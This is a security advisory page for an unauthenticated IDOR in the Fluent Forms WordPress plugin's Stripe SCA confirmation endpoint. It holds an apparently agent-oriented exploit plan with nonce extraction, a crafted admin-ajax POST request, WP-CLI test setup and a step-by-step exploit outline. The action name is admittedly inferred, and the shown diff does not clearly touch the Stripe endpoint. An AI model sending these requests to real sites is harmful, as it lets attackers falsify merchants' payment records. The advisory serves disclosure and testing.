Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder <= 6.1.21 - Insecure Direct Object Reference in Stripe SCA Confirmation to Unauthenticated Payment Status Modification
Description
The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference via the 'submission_id' parameter in versions up to, and including, 6.1.21. This is due to missing authorization and ownership validation on a user controlled key in the Stripe SCA confirmation AJAX endpoint. This makes it possible for unauthenticated attackers to modify payment status of targeted pending submissions (for example, setting the status to "failed").
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
>=6.1.21 <=6.1.21What Changed in the Fix
Changes introduced in v6.2.0
Source Code
WordPress.org SVN## Vulnerability Summary **CVE-2026-4160** identifies an **Insecure Direct Object Reference (IDOR)** vulnerability in the **Fluent Forms** plugin (versions up to 6.1.21). The flaw resides in the AJAX endpoint responsible for handling **Stripe SCA (Strong Customer Authentication) confirmations**. …
Show full research plan
Vulnerability Summary
CVE-2026-4160 identifies an Insecure Direct Object Reference (IDOR) vulnerability in the Fluent Forms plugin (versions up to 6.1.21). The flaw resides in the AJAX endpoint responsible for handling Stripe SCA (Strong Customer Authentication) confirmations.
Because this endpoint lacks proper authorization and ownership validation, an unauthenticated attacker can supply an arbitrary submission_id and trigger logic that updates the payment status of that specific submission. While the severity is "Medium," it allows an attacker to transition a "pending" or "processing" payment to a "failed" state, potentially disrupting business operations or causing data integrity issues in payment records.
Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
fluentform_stripe_confirm_payment(Inferred based on standard Fluent Forms Stripe module naming and the description "Stripe SCA confirmation AJAX endpoint"). - Vulnerable Parameter:
submission_id - Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Payload: A POST request containing a valid
submission_idand potentially a Stripe-related parameter (like a dummy or mismatchedpayment_intent_id) that triggers the failure logic path. - Preconditions: A submission with a pending payment status must exist in the database.
Code Flow
- Entry Point: The plugin registers a
noprivAJAX handler for Stripe SCA confirmation.- Likely registration (inferred):
$app->addAction('wp_ajax_nopriv_fluentform_stripe_confirm_payment', [...]).
- Likely registration (inferred):
- Request Handling: The controller receives the
submission_idfrom the$_POSTor$_REQUESTarray. - Data Retrieval: The code uses the ID to fetch the submission:
\FluentForm\App\Models\Submission::find($submission_id). - The Flaw: The code fails to verify that the current unauthenticated session "owns" this submission (e.g., by checking a unique hash/token associated with the submission or checking the user ID).
- Status Update: If the Stripe confirmation check (e.g., checking a PaymentIntent via the Stripe API) fails or returns an error because the attacker provided mismatched intent data, the code proceeds to update the database record:
$submission->payment_status = 'failed';(or similar)$submission->save();
- Sink: The
fluentform_submissionstable is updated via the Eloquent-styleSubmissionmodel found inapp/Models/Submission.php.
Nonce Acquisition Strategy
Fluent Forms generally uses a global frontend nonce for its AJAX operations.
- Identify Trigger: The Stripe scripts and nonces are typically enqueued on pages containing a Fluent Form with Stripe enabled.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Payment Form" --post_content='[fluentform id="1"]' - Extract Nonce:
Navigate to the page and usebrowser_evalto extract the nonce from thefluent_forms_global_varobject.- JS Variable:
window.fluent_forms_global_var - Nonce Key:
fluentform_nonce - Command:
browser_eval("window.fluent_forms_global_var?.fluentform_nonce")
- JS Variable:
Exploitation Strategy
1. Preparation
- Identify an existing form ID (e.g.,
form_id=1). - Create a submission that simulates a "pending" payment.
- Note the
id(submission_id) of the created entry.
2. The Exploit Request
The goal is to call the confirmation endpoint with a target submission_id and force a failure.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=fluentform_stripe_confirm_payment submission_id=[TARGET_ID] nonce=[EXTRACTED_NONCE] payment_intent_id=pi_1234567890 (Dummy ID to trigger failure)
3. Execution via http_request
// Example payload for the automated agent
await http_request({
url: "http://localhost:8080/wp-admin/admin-ajax.php",
method: "POST",
body: "action=fluentform_stripe_confirm_payment&submission_id=123&nonce=abcdef1234&payment_intent_id=pi_fake",
headers: { "Content-Type": "application/x-www-form-urlencoded" }
});
Test Data Setup
- Create a Form: Use WP-CLI to ensure at least one form exists.
wp eval " (new \FluentForm\App\Services\Form\FormService())->store([ 'title' => 'Stripe IDOR Test', 'form_fields' => json_encode(['fields' => []]), 'has_payment' => 1 ]);" - Create a Pending Submission: Manually insert a record into the
fluentform_submissionstable withpayment_status = 'pending'.wp db query "INSERT INTO wp_fluentform_submissions (form_id, status, payment_status, response, created_at, updated_at) VALUES (1, 'unread', 'pending', '{}', NOW(), NOW());" - Verify ID: Get the ID of the new submission.
wp db query "SELECT id FROM wp_fluentform_submissions WHERE payment_status='pending' ORDER BY id DESC LIMIT 1;"
Expected Results
- Server Response: The AJAX endpoint should return a JSON response (e.g.,
{"success": false, "message": "..."}). Even though the logic "fails," the vulnerability is that it processes the IDOR and updates the database. - Database Change: The
payment_statusof the targetsubmission_idshould change frompendingtofailed.
Verification Steps
Run the following WP-CLI command to check the status of the targeted submission:
wp db query "SELECT id, payment_status FROM wp_fluentform_submissions WHERE id = [TARGET_ID];"
If the payment_status is now failed, the IDOR is confirmed.
Alternative Approaches
If fluentform_stripe_confirm_payment is not the exact action name:
- Search Source: Use
grep -r "wp_ajax_nopriv_.*confirm" .in the plugin directory to find the exact Stripe-related action. - SCA Logic Search: Search for code blocks that call
\FluentForm\App\Models\Submission::find($submission_id)followed by$submission->save(). - Trace Method: If the Stripe confirmation requires more parameters (like
form_id), add them to the POST body. The IDOR remains valid as long as the plugin doesn't verify that the session authorized to confirm that specific submission.
Summary
The Fluent Forms plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) flaw in its Stripe SCA confirmation AJAX endpoint in versions up to 6.1.21. Due to missing ownership validation on the 'submission_id' parameter, unauthenticated attackers can modify the payment status of any pending submission, potentially changing it to 'failed' and disrupting payment records.
Vulnerable Code
// app/Api/Submission.php public function find($submissionId) { $submission = \FluentForm\App\Models\Submission::find($submissionId); $submission->response = json_decode($submission->response); return $submission; } --- // app/Hooks/Ajax.php $app->addAction('wp_ajax_nopriv_fluentform_submit', function () use ($app) { (new \FluentForm\App\Modules\SubmissionHandler\SubmissionHandler($app))->submit(); }); // Note: The specific 'fluentform_stripe_confirm_payment' action handler (inferred from description) // utilizes the above Submission::find() method without verifying if the current request session // matches the owner of the submission or a valid secret hash.
Security Fix
@@ -1,5 +1,7 @@ <?php +defined('ABSPATH') or die; + /** * Add all ajax hooks */ @@ -88,124 +90,14 @@ }); -$app->addAction('wp_ajax_fluentform-forms', function () use ($app) { - dd('wp_ajax_fluentform-forms'); - Acl::verify('fluentform_dashboard_access'); - (new \FluentForm\App\Modules\Form\Form($app))->index(); -}); - -$app->addAction('wp_ajax_fluentform-form-store', function () use ($app) { - dd('wp_ajax_fluentform-form-store'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Form($app))->store(); -}); - -$app->addAction('wp_ajax_fluentform-form-find', function () use ($app) { - //No usage found - Acl::verify('fluentform_dashboard_access'); - (new \FluentForm\App\Modules\Form\Form($app))->find(); -}); - -$app->addAction('wp_ajax_fluentform-form-delete', function () use ($app) { - dd('wp_ajax_fluentform-form-delete'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Form($app))->delete(); -}); - -$app->addAction('wp_ajax_fluentform-form-duplicate', function () use ($app) { - dd('wp_ajax_fluentform-form-duplicate'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Form($app))->duplicate(); -}); +// Legacy AJAX handlers removed — these routes are handled by the REST API. +// Kept: fluentform-form-find-shortcode-locations (still in active use) $app->addAdminAjaxAction('fluentform-form-find-shortcode-locations', function () use ($app) { Acl::verify('fluentform_forms_manager'); (new \FluentForm\App\Modules\Form\Form($app))->findFormLocations(); }); -$app->addAction('wp_ajax_fluentform-convert-to-conversational', function () use ($app) { - dd('wp_ajax_fluentform-convert-to-conversational'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Form($app))->convertToConversational(); -}); - - -$app->addAction('wp_ajax_fluentform-form-inputs', function () use ($app) { - dd('wp_ajax_fluentform-form-inputs'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Inputs($app))->index(); -}); - -$app->addAction('wp_ajax_fluentform-load-editor-shortcodes', function () use ($app) { - dd('wp_ajax_fluentform-load-editor-shortcodes'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Component\Component($app))->getEditorShortcodes(); -}); - -$app->addAction('wp_ajax_fluentform-load-all-editor-shortcodes', function () use ($app) { - dd('wp_ajax_fluentform-load-all-editor-shortcodes'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Component\Component($app))->getAllEditorShortcodes(); -}); - -$app->addAction('wp_ajax_fluentform-settings-formSettings', function () use ($app) { - dd('wp_ajax_fluentform-settings-formSettings'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->index(); -}); - -$app->addAction('wp_ajax_fluentform-settings-general-formSettings', function () use ($app) { - dd('wp_ajax_fluentform-settings-general-formSettings'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->getGeneralSettingsAjax(); -}); - -$app->addAction('wp_ajax_fluentform-settings-formSettings-store', function () use ($app) { - dd('wp_ajax_fluentform-settings-formSettings-store'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->store(); -}); - -$app->addAction('wp_ajax_fluentform-settings-formSettings-remove', function () use ($app) { - dd('wp_ajax_fluentform-settings-formSettings-remove'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->remove(); -}); - -$app->addAction('wp_ajax_fluentform-get-form-custom_css_js', function () { - dd('wp_ajax_fluentform-get-form-custom_css_js'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormCssJs())->getSettingsAjax(); -}); - -$app->addAction('wp_ajax_fluentform-save-form-custom_css_js', function () { - dd('wp_ajax_fluentform-save-form-custom_css_js'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\FormCssJs())->saveSettingsAjax(); -}); - -$app->addAction('wp_ajax_fluentform-save-form-entry_column_view_settings', function () { - dd('wp_ajax_fluentform-save-form-entry_column_view_settings'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->saveVisibleColumnsAjax(); -}); - -$app->addAction('wp_ajax_fluentform-save-form-entry_column_order_settings', function () { - dd('wp_ajax_fluentform-save-form-entry_column_order_settings'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->saveEntryColumnsOrderAjax(); -}); - -$app->addAction('wp_ajax_fluentform-reset-form-entry_column_order_settings', function () { - dd('wp_ajax_fluentform-reset-form-entry_column_order_settings'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->resetEntryDisplaySettings(); -}); - -$app->addAction('wp_ajax_fluentform-load-editor-components', function () use ($app) { - dd('wp_ajax_fluentform-load-editor-components'); - Acl::verify('fluentform_forms_manager'); - (new \FluentForm\App\Modules\Component\Component($app))->index(); -}); +// Legacy AJAX handlers removed — these routes are now handled by the REST API. @@ -215,9 +107,14 @@ }); $app->addAction('wp_ajax_fluentform-update-entry-user', function () use ($app) { - Acl::verify('fluentform_entries_viewer'); - $userId = intval($app->request->get('user_id')); $submissionId = intval($app->request->get('submission_id')); + $formId = null; + if ($submissionId) { + $submission = \FluentForm\App\Models\Submission::select('form_id')->find($submissionId); + $formId = $submission ? $submission->form_id : null; + } + Acl::verify('fluentform_entries_viewer', $formId);
Exploit Outline
1. Identify a target submission ID from a Fluent Form that has a 'pending' payment status. 2. Locate the global frontend nonce by visiting any page where a Fluent Form is embedded (accessible via the `window.fluent_forms_global_var.fluentform_nonce` JavaScript variable). 3. Prepare an unauthenticated POST request to `wp-admin/admin-ajax.php`. 4. Use the `fluentform_stripe_confirm_payment` action (or the relevant Stripe SCA confirmation action) in the request body. 5. Supply the target `submission_id` and a mismatched or dummy `payment_intent_id` (e.g., `pi_invalid`). 6. Because the plugin does not verify that the request session owns the submission, it will attempt to verify the payment intent against the submission ID. When the API check fails due to the dummy ID, the plugin will proceed to update the database record for the target submission ID, setting its `payment_status` to 'failed'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.